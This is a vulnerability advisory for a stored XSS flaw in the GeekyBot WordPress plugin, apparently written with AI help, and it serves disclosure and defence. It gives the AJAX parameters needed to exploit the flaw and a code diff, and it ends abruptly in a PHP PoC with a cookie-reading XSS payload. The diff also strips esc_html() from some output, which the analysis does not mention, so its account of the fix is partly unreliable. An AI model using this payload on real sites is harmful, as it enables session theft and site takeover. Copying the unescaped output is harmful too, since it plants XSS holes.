Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-15266: GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation <= 1.1.8 – Unauthenticated Stored Cross-Site Scripting (geeky-bot)

CVE ID CVE-2025-15266

Plugin geeky-bot

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 1.1.8

Patched Version 1.1.9

Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15266:
The GeekyBot WordPress plugin contains an unauthenticated stored cross-site scripting (XSS) vulnerability in versions up to and including 1.1.8. The vulnerability exists in the chat message handling functionality, allowing attackers to inject arbitrary JavaScript payloads that execute when an administrator views the Chat History page. This issue receives a CVSS score of 7.2 (High severity).

The root cause is insufficient input sanitization and output escaping for user-controlled chat message parameters. In the vulnerable version, the `getMessageResponse` function in `/geeky-bot/modules/chatserver/model.php` directly uses unsanitized user input from the `cmessage`, `ctext`, and `csender` parameters via `GEEKYBOTrequest::GEEKYBOT_getVar()` calls (lines 35-37). These parameters are stored in the chat history without proper sanitization. Additionally, the frontend JavaScript in `/geeky-bot/modules/chatserver/tmpl/chatpopup.inc.php` uses unsafe string concatenation to insert user messages into the DOM via jQuery’s `.append()` method (lines 83-85 and 102-104), enabling direct script injection.

Exploitation occurs through unauthenticated POST requests to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. Attackers send malicious JavaScript payloads via the `cmessage` parameter when the `action` parameter is set to `geekybot_frontendajax`, the `geekybotme` parameter is set to `chathistory`, and the `task` parameter is set to `SaveChathistory`. The payload is stored in the plugin’s chat history database table. When an administrator accesses the Chat History page in the WordPress dashboard, the malicious script executes in the administrator’s browser context, enabling session hijacking or site takeover.

The patch in version 1.1.9 addresses the vulnerability through multiple defensive layers. In `/geeky-bot/modules/chatserver/model.php`, the plugin adds `sanitize_text_field()` wrappers around the `GEEKYBOTrequest::GEEKYBOT_getVar()` calls for `cmessage`, `ctext`, and `csender` parameters (lines 35-37). In `/geeky-bot/modules/chatserver/tmpl/chatpopup.inc.php`, the patch replaces unsafe string concatenation with jQuery’s `.text()` method for user message insertion (lines 90-104). The patch also replaces `esc_url()` and `esc_attr()` calls with `esc_js()` for JavaScript context escaping throughout the file, and adds proper type casting for the `auto_chat_start_time` configuration value (line 200).

Successful exploitation allows unauthenticated attackers to inject persistent malicious scripts that execute in administrator browser sessions. This enables complete site compromise through session hijacking, administrative account takeover, backdoor installation, content defacement, or credential theft. The stored nature means a single malicious chat message affects all administrators who view the Chat History page, creating a reliable attack vector for privilege escalation.

Differential between vulnerable and patched code

Code Diff

--- a/geeky-bot/geeky-bot.php
+++ b/geeky-bot/geeky-bot.php
@@ -3,14 +3,14 @@
 /**
  * @package Geeky Bot
  * @author Geeky Bot
- * @version 1.1.8
+ * @version 1.1.9
  */
 /*
   * Plugin Name: Geeky Bot
   * Plugin URI: https://geekybot.com/
   * Description: The ultimate AI chatbot for WooCommerce lead generation, intelligent web search, and interactive customer engagement on your WordPress website.
   * Author: Geeky Bot
-  * Version: 1.1.8
+  * Version: 1.1.9
   * Text Domain: geeky-bot
   * Domain Path: /languages
   * Author URI: https://geekybot.com/
@@ -95,7 +95,7 @@
         self::$_data = array();
         self::$_error_flag = null;
         self::$_error_flag_message = null;
-        self::$_currentversion = '118';
+        self::$_currentversion = '119';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_config = GEEKYBOTincluder::GEEKYBOT_getModel('configuration');
         self::$_isgeekybotplugin = true;
@@ -194,7 +194,7 @@
         if (is_plugin_active('geeky-bot/geeky-bot.php')) {
             include_once GEEKYBOT_PLUGIN_PATH . 'includes/updates/updates.php';
             $installedversion = GEEKYBOTupdates::geekybot_getInstalledVersion();
-            $cversion = '118';
+            $cversion = '119';
             if ($installedversion != $cversion) {
                 add_action( 'admin_notices', array($this, 'geekybot_sql_update_available_notice') );
             }
@@ -273,7 +273,7 @@
                     // restore colors data end
                     update_option('geekybot_currentversion', self::$_currentversion);
                     include_once GEEKYBOT_PLUGIN_PATH . 'includes/updates/updates.php';
-                    GEEKYBOTupdates::GEEKYBOT_checkUpdates('118');
+                    GEEKYBOTupdates::GEEKYBOT_checkUpdates('119');
                     GEEKYBOTincluder::GEEKYBOT_getModel('geekybot')->updateColorFile();
                 }
             }
--- a/geeky-bot/includes/activation.php
+++ b/geeky-bot/includes/activation.php
@@ -144,7 +144,7 @@
             ('title',   'GeekyBot',   'default',  NULL),
             ('pagination_default_page_size',    '10',   'default',  NULL),
             ('pagination_product_page_size',    '3',   'default',  NULL),
-            ('versioncode', '1.1.8',    'default',  NULL),
+            ('versioncode', '1.1.9',    'default',  NULL),
             ('last_version',    '101',  'default',  NULL),
             ('image_file_type', 'png,jpeg,gif,jpg', 'default', NULL),
             ('bot_custom_img',  '0',    'default',  NULL),
--- a/geeky-bot/modules/chatserver/model.php
+++ b/geeky-bot/modules/chatserver/model.php
@@ -18,9 +18,8 @@
         if (!wp_verify_nonce($nonce, 'get-message-response')) {
             // disable nonce
             /*$errorMessage = new stdClass();
-            $errorMessage->bot_response = esc_html(
-                __("Security verification Failed, Please refresh your chat to continue.", "geeky-bot")
-            );
+            $errorMessage->bot_response =
+                __("Security verification Failed, Please refresh your chat to continue.", "geeky-bot");
             $retVal[] = ["recipient_id" => $chat_id, "text" => $errorMessage];
             return wp_json_encode($retVal);*/
         }
@@ -28,23 +27,21 @@
         // Check if the chat session has expired
         if (empty($chat_id)) {
             $errorMessage = new stdClass();
-            $errorMessage->bot_response = esc_html(
-                __("Your session has expired; please restart your chat.", "geeky-bot")
-            );
+            $errorMessage->bot_response = __("Your session has expired; please restart your chat.", "geeky-bot");
             $retVal[] = ["recipient_id" => $chat_id, "text" => $errorMessage];
             return wp_json_encode($retVal);
         }

         // Retrieve user inputs
-        $message = GEEKYBOTrequest::GEEKYBOT_getVar('cmessage');
-        $text = GEEKYBOTrequest::GEEKYBOT_getVar('ctext');
-        $sender = GEEKYBOTrequest::GEEKYBOT_getVar('csender');
+        $message = sanitize_text_field(GEEKYBOTrequest::GEEKYBOT_getVar('cmessage'));
+        $text = sanitize_text_field(GEEKYBOTrequest::GEEKYBOT_getVar('ctext'));
+        $sender = sanitize_text_field(GEEKYBOTrequest::GEEKYBOT_getVar('csender'));
         $response_id = GEEKYBOTrequest::GEEKYBOT_getVar('response_id');
         $btnflag = GEEKYBOTrequest::GEEKYBOT_getVar('btnflag');
         $session_type = '';

-		$logdata = "n chatserver->getMessageResponse";
-		$logdata .= "n message: ".$message;
+        $logdata = "n chatserver->getMessageResponse";
+        $logdata .= "n message: ".$message;
         // Save user message to session and chat history
         if (!empty($text)) {
             geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($text, 'user');
@@ -60,7 +57,7 @@
             if (!empty($intentIdAndScore['id'])) {
                 // get intent data from intent id
                 $query = "SELECT `id`, `user_messages`, `user_messages_text`, `group_id` FROM `" . geekybot::$_db->prefix . "geekybot_intents` WHERE `id` = " . esc_sql($intentIdAndScore['id']);
-    			$logdata .= "n query: ".$query;
+                $logdata .= "n query: ".$query;
                 $intentData = geekybotdb::GEEKYBOT_get_row($query);
                 $intentGroupId = $intentData->group_id;

@@ -266,11 +263,11 @@
                         if ($responseButton->type == 1) {
                             $botResponse .= "<li class='geekybot-message geekybot-message-button'>";
                             $botResponse .= "<section><button class='wp-chat-btn' onclick='sendbtnrsponse(this);' value='".$responseButton->value."'>";
-                            $botResponse .= "<span>" . esc_html($responseButton->text) . "</span></button></section></li>";
+                            $botResponse .= "<span>" . $responseButton->text . "</span></button></section></li>";
                         } elseif ($responseButton->type == 2) {
                             $botResponse .= "<li class='geekybot-message geekybot-message-button'>";
                             $botResponse .= "<section><button class='wp-chat-btn'><span><a class='wp-chat-btn-link' href='".$responseButton->value."'>";
-                            $botResponse .= esc_html($responseButton->text) . "</a></span></button></section></li>";
+                            $botResponse .= $responseButton->text . "</a></span></button></section></li>";
                         }
                     }
                     $botResponse .= "</div>";
@@ -809,11 +806,11 @@
                         if ($fbButton->type == 1) {
                             $botFallBack .= "<li class='geekybot-message geekybot-message-button'>";
                             $botFallBack .= "<section><button class='wp-chat-btn' onclick='sendbtnrsponse(this);' value='".$fbButton->value."'>";
-                            $botFallBack .= "<span>" . esc_html($fbButton->text) . "</span></button></section></li>";
+                            $botFallBack .= "<span>" . $fbButton->text . "</span></button></section></li>";
                         } elseif ($fbButton->type == 2) {
                             $botFallBack .= "<li class='geekybot-message geekybot-message-button'>";
                             $botFallBack .= "<section><button class='wp-chat-btn'><span><a class='wp-chat-btn-link' href='".$fbButton->value."'>";
-                            $botFallBack .= esc_html($fbButton->text) . "</a></span></button></section></li>";
+                            $botFallBack .= $fbButton->text . "</a></span></button></section></li>";
                         }
                     }
                     $botFallBack .= "</div>";
@@ -859,11 +856,11 @@
                 if ($fbButton->type == 1) {
                     $botFallBack .= "<li class='geekybot-message geekybot-message-button'>";
                     $botFallBack .= "<section><button class='wp-chat-btn' onclick='sendbtnrsponse(this);' value='".$fbButton->value."'>";
-                    $botFallBack .= "<span>" . esc_html($fbButton->text) . "</span></button></section></li>";
+                    $botFallBack .= "<span>" . $fbButton->text . "</span></button></section></li>";
                 } elseif ($fbButton->type == 2) {
                     $botFallBack .= "<li class='geekybot-message geekybot-message-button'>";
                     $botFallBack .= "<section><button class='wp-chat-btn'><span><a class='wp-chat-btn-link' href='".$fbButton->value."'>";
-                    $botFallBack .= esc_html($fbButton->text) . "</a></span></button></section></li>";
+                    $botFallBack .= $fbButton->text . "</a></span></button></section></li>";
                 }
             }
             $botFallBack .= "</div>";
--- a/geeky-bot/modules/chatserver/tmpl/chatpopup.inc.php
+++ b/geeky-bot/modules/chatserver/tmpl/chatpopup.inc.php
@@ -6,12 +6,12 @@
     $userImgScr = GEEKYBOTincluder::GEEKYBOT_getModel('geekybot')->getUserImagePath();
     $geekybot_js = '
     jQuery(document).ready(function(){
-        var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
+        var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
         jQuery.post(ajaxurl, {
             action: "geekybot_ajax",
             geekybotme: "geekybot",
             task: "geekybotFreshMessages",
-            "_wpnonce": "' . esc_attr(wp_create_nonce("geekybot_fresh_messages")) . '"
+            "_wpnonce": "' . esc_js(wp_create_nonce("geekybot_fresh_messages")) . '"
         }, function(response) {
             if (response) {
                 jQuery(".geekbotMessageWrapper").html(response);
@@ -38,13 +38,13 @@
             // $geekybot_js .= 'jQuery(".geekybot-chat-popup").addClass("active");';
             if (geekybot::$_configuration['welcome_screen'] == '2') {
                 $geekybot_js.='
-                jQuery(".geekybot-chat-popup").addClass("geekybot-chat-init");
-
-                ';
+                jQuery(".geekybot-chat-popup").addClass("geekybot-chat-init");';
             }
             $geekybot_js.='
             var scrollableDiv = jQuery("#geekybot-main-messages");
-            scrollableDiv.scrollTop(scrollableDiv[0].scrollHeight);
+            if (scrollableDiv.length > 0) {
+                scrollableDiv.scrollTop(scrollableDiv[0].scrollHeight);
+            }
             ';
         }
         $geekybot_js .= '
@@ -59,8 +59,7 @@
                 getRandomChatId();';
                 if (geekybot::$_configuration['welcome_screen'] == '2') {
                     $geekybot_js.='
-                    jQuery(".geekybot-chat-popup").addClass("geekybot-chat-init");
-                    ';
+                    jQuery(".geekybot-chat-popup").addClass("geekybot-chat-init");';
                 }
                 $geekybot_js.='
             }
@@ -83,18 +82,33 @@
         jQuery("#geekybot-send-button").click(function(event){
             var message = jQuery(".geekybot-message-box").val();
             if (!message) {
-                alert("Please enter a message to before sending");
+                alert("'.esc_js(__("Please enter a message before sending", "geeky-bot")).'");
                 return false;
             } else {
                 var sender = "user";
                 jQuery(".geekybot-message-box").val("");
-                var sender = "user";
                 var btnflag = "false";
                 var chat_id = jQuery("#chatsession").val();
-                jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-user"><section class="geekybot-message-user-img 01"><img src="'.esc_url($userImgScr).'" alt="" /></section><section class="geekybot-message-text">'+message+'</section></li>');
-                var response_id =  jQuery("#response_id").val();
+
+                // 1. Create the LI container object
+                var $msgItem = jQuery('<li class="geekybot-message geekybot-message-user"></li>');
+
+                // 2. Create the Image section
+                var $imgSection = jQuery('<section class="geekybot-message-user-img 01"><img src="'.esc_js($userImgScr).'" alt="" /></section>');
+
+                // 3. Create the Text section and safely inject the message
+                // .text() is what kills the XSS attack
+                var $textSection = jQuery('<section class="geekybot-message-text"></section>').text(message);
+
+                // 4. Assemble: Put the Image and Text inside the LI
+                $msgItem.append($imgSection).append($textSection);
+
+                // 5. Final Step: Put the full LI into the Chat Box
+                jQuery('#geekybotChatBox').append($msgItem);
+
+                var response_id = jQuery("#response_id").val();
                 // SaveChathistory(message,sender);
-                sendRequestToServer(message,message,sender,chat_id);
+                sendRequestToServer(message, message, sender, chat_id);
             }
         });

@@ -102,18 +116,23 @@
             if ( event.which == 13 ) {
                 var message = jQuery(".geekybot-message-box").val();
                 if (!message) {
-                    alert("Please enter a message to before sending");
+                    alert("'.esc_js(__("Please enter a message before sending", "geeky-bot")).'");
                     return false;
                 } else {
                     var sender = "user";
                     jQuery(".geekybot-message-box").val("");
-                    var sender = "user";
                     var chat_id = jQuery("#chatsession").val();
-                    jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-user"><section class="geekybot-message-user-img 02"><img src="'.esc_url($userImgScr).'" alt="" /></section><section class="geekybot-message-text">'+message+'</section></li>');
-                        var response_id =  jQuery("#response_id").val();
-                        var btnflag = "false";
-                        // SaveChathistory(message,sender);
-                        sendRequestToServer(message,message,sender,chat_id);
+
+                    var $msgItem = jQuery('<li class="geekybot-message geekybot-message-user"></li>');
+                    var $imgSection = jQuery('<section class="geekybot-message-user-img 02"><img src="'.esc_js($userImgScr).'" alt="" /></section>');
+                    var $textSection = jQuery('<section class="geekybot-message-text"></section>').text(message);
+
+                    $msgItem.append($imgSection).append($textSection);
+                    jQuery('#geekybotChatBox').append($msgItem);
+
+                    var response_id = jQuery("#response_id").val();
+                    // SaveChathistory(message,sender);
+                    sendRequestToServer(message, message, sender, chat_id);
                 }
             }
         });
@@ -124,8 +143,8 @@
             var message = "Chat End by user";
             var date = new Date();
             date.setTime(date.getTime());
-            var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-            jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "endUserChat", cmessage: message,sender:sender ,chat_id:chat_id, "_wpnonce":"'. esc_attr(wp_create_nonce("end-user-chat")) .'"}, function (data) {
+            var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+            jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "endUserChat", cmessage: message,sender:sender ,chat_id:chat_id, "_wpnonce":"'. esc_js(wp_create_nonce("end-user-chat")) .'"}, function (data) {
                 if (data) {
                     jQuery("#geekybotChatBox").empty();
                     var path = window.location.href;
@@ -166,8 +185,8 @@
             x1 = x1 + "  " +  hours + ":" +  minutes + ":" +  seconds ;
             var dt = x1; ';
             $geekybot_js.='
-            var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-            jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "restartUserChat", datetime:dt, "_wpnonce":"'. esc_attr(wp_create_nonce("restart-user-chat")). '"}, function (data) {
+            var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+            jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "restartUserChat", datetime:dt, "_wpnonce":"'. esc_js(wp_create_nonce("restart-user-chat")). '"}, function (data) {
                 if (data) {
                     jQuery("#chatsession").val(data)
                     jQuery("#geekybotChatBox").empty();
@@ -181,7 +200,7 @@
     // Code to open the chat popup
     document.addEventListener("DOMContentLoaded", function() {';
         if ( geekybot::$_configuration['auto_chat_start'] == 1 && geekybot::$_configuration['auto_chat_start_time'] != '' ) {
-            $startTime = geekybot::$_configuration['auto_chat_start_time'];
+            $startTime = (int)geekybot::$_configuration['auto_chat_start_time'];
             // change time from seconds to miliseconds
             $startTime = $startTime * 1000;
             $geekybot_js.='
@@ -202,11 +221,9 @@
                             //
                             if(hide_smart_popup == 0) {
                                 jQuery(".geekybot-chat-open-outer-popup-mainwrp").fadeIn().css("display", "flex");
-                            }
-                            ';
+                            }';
                         } else {
-                            $geekybot_js.='
-                            jQuery(".geekybot-chat-open-dialog").click();';
+                            $geekybot_js.='jQuery(".geekybot-chat-open-dialog").click();';
                         }
                     }
                     $geekybot_js.='
@@ -232,8 +249,8 @@
         x1 = x1 + "  " +  hours + ":" +  minutes + ":" +  seconds ;
         var dt = x1;

-        var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "restartUserChat", datetime:dt, "_wpnonce":"'. esc_attr(wp_create_nonce("restart-user-chat")). '"}, function (data) {
+        var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "restartUserChat", datetime:dt, "_wpnonce":"'. esc_js(wp_create_nonce("restart-user-chat")). '"}, function (data) {
             if (data) {
                 jQuery("#chatsession").val(data);
                 // Wait a moment to ensure cookie is set and browser acknowledges it
@@ -267,8 +284,8 @@
         var dt = x1;
         var user = "user";';
         $geekybot_js .= '
-        var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "getRandomChatId", datetime: dt, "_wpnonce":"'. esc_attr(wp_create_nonce("get-random-chat-id")).'" }, function (data) {
+        var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "getRandomChatId", datetime: dt, "_wpnonce":"'. esc_js(wp_create_nonce("get-random-chat-id")).'" }, function (data) {
             if (data) {
                 var chat_id = data;
                 jQuery("#chatsession").val(data);
@@ -299,29 +316,29 @@
     }

     function geekybotLoadMoreCustomPosts(msg, data_array, next_page, function_name) {
-        var message = "'.esc_html(__('Show More', 'geeky-bot')).'";
+        var message = "'.esc_js(__('Show More', 'geeky-bot')).'";
         SaveChathistory(message,"user");
-        var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "geekybot", task: "geekybotLoadMoreCustomPosts", msg : msg, dataArray : data_array, next_page: next_page, functionName : function_name, "_wpnonce":"'.esc_attr(wp_create_nonce("load-more")) .'"}, function (data) {
+        var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "geekybot", task: "geekybotLoadMoreCustomPosts", msg : msg, dataArray : data_array, next_page: next_page, functionName : function_name, "_wpnonce":"'.esc_js(wp_create_nonce("load-more")) .'"}, function (data) {
             if (data) {
                 geekybot_scrollToTop(190);
                 var message = geekybot_DecodeHTML(data);
                 jQuery('div.geekybot_wc_product_load_more_wrp').css('display', 'none');
-                jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot"><section class="geekybot-message-bot-img 07"><img src="'.esc_url($botImgScr).'" alt="" /></section><section class="geekybot-message-text">'+message+'</section></li>');
+                jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot"><section class="geekybot-message-bot-img 07"><img src="'.esc_js($botImgScr).'" alt="" /></section><section class="geekybot-message-text">'+message+'</section></li>');
             }
         });
     }

     function showArticlesList(post_ids, msg, type, label, total_posts, current_page) {
-        var message = "'.esc_html(__('Show Articles', 'geeky-bot')).'";
+        var message = "'.esc_js(__('Show Articles', 'geeky-bot')).'";
         SaveChathistory(message,"user");
-        var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "websearch", task: "showArticlesList", post_ids: post_ids, msg: msg, type: type, label: label, totalPosts: total_posts, currentPage: current_page, "_wpnonce":"'.esc_attr(wp_create_nonce("articles-list")) .'"}, function (data) {
+        var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "websearch", task: "showArticlesList", post_ids: post_ids, msg: msg, type: type, label: label, totalPosts: total_posts, currentPage: current_page, "_wpnonce":"'.esc_js(wp_create_nonce("articles-list")) .'"}, function (data) {
             if (data) {
                 geekybot_scrollToTop(340);
                 var message = geekybot_DecodeHTML(data);
                 jQuery('.geekybot_wc_post_load_more').css('display', 'none');
-                jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot"><section class="geekybot-message-bot-img 08"><img src="'.esc_url($botImgScr).'" alt="" /></section><section class="geekybot-message-text">'+message+'</section></li>');
+                jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot"><section class="geekybot-message-bot-img 08"><img src="'.esc_js($botImgScr).'" alt="" /></section><section class="geekybot-message-text">'+message+'</section></li>');
             }
         });
     }
@@ -331,10 +348,10 @@
         if(chat_id!=""){
             setTimeout(function(){';
                 $geekybot_js.='
-                var message = "'.__('session time out', 'geeky-bot').'";
+                var message = "'.esc_js(__('session time out', 'geeky-bot')).'";
                 var sender  = "user";
-                var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
-                jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "endUserChat", cmessage: message,sender:sender ,chat_id:chat_id, "_wpnonce":"'. esc_attr(wp_create_nonce("end-user-chat")) .'"}, function (data) {
+                var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
+                jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "endUserChat", cmessage: message, sender:sender ,chat_id:chat_id, "_wpnonce":"'. esc_js(wp_create_nonce("end-user-chat")) .'"}, function (data) {
                     if (data) {
                         jQuery("#geekybotChatBox").empty();
                         var path = window.location.href;
@@ -359,15 +376,14 @@
         var chat_id = jQuery("#chatsession").val();
         ';
         $geekybot_js.='
-        jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-user"><section class="geekybot-message-user-img 04"><img src="'.esc_url($userImgScr).'" alt="" /></section><section class="geekybot-message-text">'+text+'</section></li>');
-        var ajaxurl =
-            "'. esc_url(admin_url("admin-ajax.php")) .'";
+        jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-user"><section class="geekybot-message-user-img 04"><img src="'.esc_js($userImgScr).'" alt="" /></section><section class="geekybot-message-text">'+text+'</section></li>');
+        var ajaxurl = "'. esc_js(admin_url("admin-ajax.php")) .'";
         jQuery.post(ajaxurl, {
             action: "geekybot_ajax",
             geekybotme: "slots",
             message: message,
             task: "saveVariableFromButtonIntent",
-            "_wpnonce":"'. esc_attr(wp_create_nonce("variable-from-button-intent")). '"
+            "_wpnonce":"'. esc_js(wp_create_nonce("variable-from-button-intent")). '"
         }, function(data) {
             if (data) {
                 sendRequestToServer(data,text,sender,chat_id);
@@ -386,9 +402,9 @@

     function SaveChathistory(message,sender) { ';
         $geekybot_js.='
-        var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
+        var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
         var response_id =  jQuery("#response_id").val();
-        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "SaveChathistory", cmessage: message,csender:sender, "_wpnonce":"'.esc_attr(wp_create_nonce("save-chat-history")).'" }, function (data) {
+        jQuery.post(ajaxurl, { action: "geekybot_frontendajax", geekybotme: "chathistory", task: "SaveChathistory", cmessage: message,csender:sender, "_wpnonce":"'.esc_js(wp_create_nonce("save-chat-history")).'" }, function (data) {
                 if (data) {
                     if(sender=="user") {
                         jQuery("#response_id").val(data);
@@ -416,12 +432,12 @@

     function sendMessageAjax(message,text,sender,chat_id){
             //geekybot_scrollToTop(1);
-        jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot geekybot_loading"><section class="geekybot-message-bot-img 05"><img src="' . esc_url($botImgScr) . '" alt="" /></section><section class="geekybot-message-text_wrp"></section></li>');
+        jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot geekybot_loading"><section class="geekybot-message-bot-img 05"><img src="' . esc_js($botImgScr) . '" alt="" /></section><section class="geekybot-message-text_wrp"></section></li>');
         var listItem = jQuery('#geekybotChatBox').find('li.geekybot-message-bot').last(); // Get the last inserted <li>

-        listItem.find('section.geekybot-message-text_wrp').append('<section class="geekybot-message-loading"><img src="'.esc_url(GEEKYBOT_PLUGIN_URL).'includes/images/bot-typing.gif" alt="" /></section>');
+        listItem.find('section.geekybot-message-text_wrp').append('<section class="geekybot-message-loading"><img src="'.esc_js(GEEKYBOT_PLUGIN_URL).'includes/images/bot-typing.gif" alt="" /></section>');
         jQuery.ajax({
-            url: "'.esc_url(admin_url('admin-ajax.php')).'",
+            url: "'.esc_js(admin_url('admin-ajax.php')).'",
             type: "POST",
             async: true,
             data: {
@@ -432,7 +448,7 @@
                 cmessage: message,
                 ctext: text,
                 csender:sender,
-                "_wpnonce":"'.esc_attr(wp_create_nonce('get-message-response')).'"
+                "_wpnonce":"'.esc_js(wp_create_nonce('get-message-response')).'"
             },
         }).done(function(data) {
             //geekybot_scrollToTop(150);
@@ -478,13 +494,13 @@
                 });
             } else {
                 geekybot_scrollToTop(150);
-                var ajaxurl = "'.esc_url(admin_url('admin-ajax.php')).'";
+                var ajaxurl = "'.esc_js(admin_url('admin-ajax.php')).'";
                 jQuery.post(ajaxurl, {
                     action: "geekybot_frontendajax",
                     geekybotme: "chatserver",
                     task: "getDefaultFallBackFormAjax",
                     chat_id: chat_id,
-                    "_wpnonce": "' . esc_attr(wp_create_nonce('get-fallback')) . '"
+                    "_wpnonce": "' . esc_js(wp_create_nonce('get-fallback')) . '"
                 }, function(fbdata) {
                     if (fbdata) {
                         var fbdata = JSON.parse(fbdata);
@@ -537,9 +553,9 @@
             }
         }).fail(function(data, textStatus, xhr) {
             jQuery(".geekybot-message-loading").remove();
-            var configmsg = "'.esc_attr(geekybot::$_configuration['default_message']).'";
+            var configmsg = "'.esc_js(geekybot::$_configuration['default_message']).'";

-            jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot"><section class="geekybot-message-bot-img 06"><img src="'.esc_url($botImgScr).'" alt="" /></section><section class="geekybot-message-text">'+configmsg+'</section></li>');
+            jQuery('#geekybotChatBox').append('<li class="geekybot-message geekybot-message-bot"><section class="geekybot-message-bot-img 06"><img src="'.esc_js($botImgScr).'" alt="" /></section><section class="geekybot-message-text">'+configmsg+'</section></li>');
         });
         jQuery(".geekybot-message-bot").removeClass("geekybot_loading");
     }
@@ -547,9 +563,6 @@
     ';
     wp_register_script( 'geekybot-frontend-handle', '' , array(), GEEKYBOT_PLUGIN_VERSION, 'all');
     wp_enqueue_script( 'geekybot-frontend-handle' );
-    wp_add_inline_script('geekybot-frontend-handle',$geekybot_js);
+    wp_add_inline_script('geekybot-frontend-handle', $geekybot_js);

 ?>
-
-
-
--- a/geeky-bot/modules/geekybot/controller.php
+++ b/geeky-bot/modules/geekybot/controller.php
@@ -14,7 +14,7 @@
             switch ($layout) {
                 case 'admin_controlpanel':
                     include_once GEEKYBOT_PLUGIN_PATH . 'includes/updates/updates.php';
-                    GEEKYBOTupdates::GEEKYBOT_checkUpdates(118);
+                    GEEKYBOTupdates::GEEKYBOT_checkUpdates(119);
                     GEEKYBOTincluder::GEEKYBOT_getModel('geekybot')->getAdminControlPanelData();
                     // remove this code in 1.1.7
                     $uploadDir = wp_upload_dir();
--- a/geeky-bot/modules/zywrap/model.php
+++ b/geeky-bot/modules/zywrap/model.php
@@ -594,7 +594,7 @@

         $type = GEEKYBOTrequest::GEEKYBOT_getVar('actionType');
         // 1. Download the ZIP file [cite: `PhpSdk.jsx`]
-        $geekybot_url = 'https://api.zywrap.com/v1/sdk/download';
+        $geekybot_url = 'https://api.zywrap.com/v1/sdk/export/';
         $response = wp_remote_get( $geekybot_url, array(
             'timeout' => 300, // 5 minutes
             'headers' => array(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15266 - GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation <= 1.1.8 - Unauthenticated Stored Cross-Site Scripting

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// Malicious JavaScript payload to execute in administrator context
$payload = '<img src=x onerror=alert(document.cookie)>';

// Generate a random chat session ID
